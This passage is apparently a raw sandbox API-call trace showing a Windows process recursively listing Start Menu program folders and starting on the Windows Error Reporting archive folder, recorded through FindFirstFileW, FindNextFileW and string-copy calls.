(_String1="Microsoft Project 2010.lnk", _String2="..") returned 1 [0160.400] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Publisher 2010.lnk", cAlternateFileName="MI260D~1.LNK")) returned 1 [0160.400] wcscmp (_String1="Microsoft Publisher 2010.lnk", _String2=".") returned 1 [0160.400] wcscmp (_String1="Microsoft Publisher 2010.lnk", _String2="..") returned 1 [0160.400] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SharePoint Workspace 2010.lnk", cAlternateFileName="MICROS~3.LNK")) returned 1 [0160.400] wcscmp (_String1="Microsoft SharePoint Workspace 2010.lnk", _String2=".") returned 1 [0160.400] wcscmp (_String1="Microsoft SharePoint Workspace 2010.lnk", _String2="..") returned 1 [0160.400] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8735be00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8735be00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x87381f60, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xacf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Visio 2010.lnk", cAlternateFileName="MI7E65~1.LNK")) returned 1 [0160.400] wcscmp (_String1="Microsoft Visio 2010.lnk", _String2=".") returned 1 [0160.400] wcscmp (_String1="Microsoft Visio 2010.lnk", _String2="..") returned 1 [0160.400] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780aa830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780aa830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780aa830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Word 2010.lnk", cAlternateFileName="MI109D~1.LNK")) returned 1 [0160.400] wcscmp (_String1="Microsoft Word 2010.lnk", _String2=".") returned 1 [0160.400] wcscmp (_String1="Microsoft Word 2010.lnk", _String2="..") returned 1 [0160.400] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780aa830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780aa830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780aa830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Word 2010.lnk", cAlternateFileName="MI109D~1.LNK")) returned 0 [0160.400] FindClose (in: hFindFile=0x1cd86310 | out: hFindFile=0x1cd86310) returned 1 [0160.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce567d0) returned 1 [0160.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb52f0) returned 1 [0160.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb5250) returned 1 [0160.401] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bd780, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb09e38e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb09e38e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0160.402] wcscmp (_String1="Mozilla Firefox.lnk", _String2=".") returned 1 [0160.402] wcscmp (_String1="Mozilla Firefox.lnk", _String2="..") returned 1 [0160.402] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePoint", cAlternateFileName="SHAREP~1")) returned 1 [0160.402] wcscmp (_String1="SharePoint", _String2=".") returned 1 [0160.402] wcscmp (_String1="SharePoint", _String2="..") returned 1 [0160.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1ced3220 [0160.402] wcscpy (in: _Dest=0x1ced3220, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" [0160.402] wcscat (in: _Dest=0x1ced3220, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\" [0160.402] wcscat (in: _Dest=0x1ced3220, _Source="SharePoint" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint" [0160.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1cdb5250 [0160.402] wcscpy (in: _Dest=0x1cdb5250, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint" [0160.402] wcscat (in: _Dest=0x1cdb5250, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\" [0160.402] wcscat (in: _Dest=0x1cdb5250, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*" [0160.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce567d0 [0160.402] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*", lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86310 [0160.403] wcscmp (_String1=".", _String2=".") returned 0 [0160.403] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.403] wcscmp (_String1="..", _String2=".") returned 1 [0160.403] wcscmp (_String1="..", _String2="..") returned 0 [0160.403] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SharePoint Workspace 2010.lnk", cAlternateFileName="MICROS~1.LNK")) returned 1 [0160.403] wcscmp (_String1="Microsoft SharePoint Workspace 2010.lnk", _String2=".") returned 1 [0160.404] wcscmp (_String1="Microsoft SharePoint Workspace 2010.lnk", _String2="..") returned 1 [0160.404] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SharePoint Workspace 2010.lnk", cAlternateFileName="MICROS~1.LNK")) returned 0 [0160.404] FindClose (in: hFindFile=0x1cd86310 | out: hFindFile=0x1cd86310) returned 1 [0160.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce567d0) returned 1 [0160.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb5250) returned 1 [0160.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3220) returned 1 [0160.405] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a233bd5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8a233bd5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8a233bd5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sidebar.lnk", cAlternateFileName="")) returned 1 [0160.405] wcscmp (_String1="Sidebar.lnk", _String2=".") returned 1 [0160.405] wcscmp (_String1="Sidebar.lnk", _String2="..") returned 1 [0160.405] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Startup", cAlternateFileName="")) returned 1 [0160.405] wcscmp (_String1="Startup", _String2=".") returned 1 [0160.406] wcscmp (_String1="Startup", _String2="..") returned 1 [0160.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1ced3220 [0160.406] wcscpy (in: _Dest=0x1ced3220, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" [0160.406] wcscat (in: _Dest=0x1ced3220, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\" [0160.406] wcscat (in: _Dest=0x1ced3220, _Source="Startup" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" [0160.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1ced3190 [0160.406] wcscpy (in: _Dest=0x1ced3190, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" [0160.406] wcscat (in: _Dest=0x1ced3190, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" [0160.406] wcscat (in: _Dest=0x1ced3190, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*" [0160.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce567d0 [0160.406] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86310 [0160.407] wcscmp (_String1=".", _String2=".") returned 0 [0160.407] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.407] wcscmp (_String1="..", _String2=".") returned 1 [0160.407] wcscmp (_String1="..", _String2="..") returned 0 [0160.407] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2832bdaf, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0160.407] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0160.407] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0160.407] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2832bdaf, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0160.407] FindClose (in: hFindFile=0x1cd86310 | out: hFindFile=0x1cd86310) returned 1 [0160.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce567d0) returned 1 [0160.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3190) returned 1 [0160.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3220) returned 1 [0160.408] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0160.408] wcscmp (_String1="Tablet PC", _String2=".") returned 1 [0160.408] wcscmp (_String1="Tablet PC", _String2="..") returned 1 [0160.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1ced3220 [0160.408] wcscpy (in: _Dest=0x1ced3220, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" [0160.408] wcscat (in: _Dest=0x1ced3220, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\" [0160.408] wcscat (in: _Dest=0x1ced3220, _Source="Tablet PC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC" [0160.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1cdb5250 [0160.408] wcscpy (in: _Dest=0x1cdb5250, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC" [0160.408] wcscat (in: _Dest=0x1cdb5250, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\" [0160.409] wcscat (in: _Dest=0x1cdb5250, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\*" [0160.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce567d0 [0160.409] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\*", lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86310 [0160.409] wcscmp (_String1=".", _String2=".") returned 0 [0160.409] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.410] wcscmp (_String1="..", _String2=".") returned 1 [0160.410] wcscmp (_String1="..", _String2="..") returned 0 [0160.410] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0160.410] FindClose (in: hFindFile=0x1cd86310 | out: hFindFile=0x1cd86310) returned 1 [0160.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce567d0) returned 1 [0160.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb5250) returned 1 [0160.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3220) returned 1 [0160.411] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b186991, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b186991, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8b186991, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x548, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Anytime Upgrade.lnk", cAlternateFileName="WINDOW~3.LNK")) returned 1 [0160.411] wcscmp (_String1="Windows Anytime Upgrade.lnk", _String2=".") returned 1 [0160.411] wcscmp (_String1="Windows Anytime Upgrade.lnk", _String2="..") returned 1 [0160.411] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82491ce0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x82491ce0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x82491ce0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x52e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows DVD Maker.lnk", cAlternateFileName="WINDOW~4.LNK")) returned 1 [0160.411] wcscmp (_String1="Windows DVD Maker.lnk", _String2=".") returned 1 [0160.411] wcscmp (_String1="Windows DVD Maker.lnk", _String2="..") returned 1 [0160.411] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7b6b82, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d7b6b82, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d7dcce2, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Fax and Scan.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0160.411] wcscmp (_String1="Windows Fax and Scan.lnk", _String2=".") returned 1 [0160.411] wcscmp (_String1="Windows Fax and Scan.lnk", _String2="..") returned 1 [0160.411] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8945dbdb, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8945dbdb, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xd869fe87, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0160.411] wcscmp (_String1="Windows Media Player.lnk", _String2=".") returned 1 [0160.411] wcscmp (_String1="Windows Media Player.lnk", _String2="..") returned 1 [0160.411] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aa62784, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPS Viewer.lnk", cAlternateFileName="XPSVIE~1.LNK")) returned 1 [0160.411] wcscmp (_String1="XPS Viewer.lnk", _String2=".") returned 1 [0160.411] wcscmp (_String1="XPS Viewer.lnk", _String2="..") returned 1 [0160.411] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aa62784, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPS Viewer.lnk", cAlternateFileName="XPSVIE~1.LNK")) returned 0 [0160.411] FindClose (in: hFindFile=0x1cd862b0 | out: hFindFile=0x1cd862b0) returned 1 [0160.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58ed0) returned 1 [0160.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb87f0) returned 1 [0160.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 Thread: id = 2856 os_tid = 0x1ac0 [0160.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85f310 [0160.415] wcscpy (in: _Dest=0x1b85f310, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportArchive" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportArchive") returned="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportArchive" [0160.415] wcscat (in: _Dest=0x1b85f310, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportArchive\\") 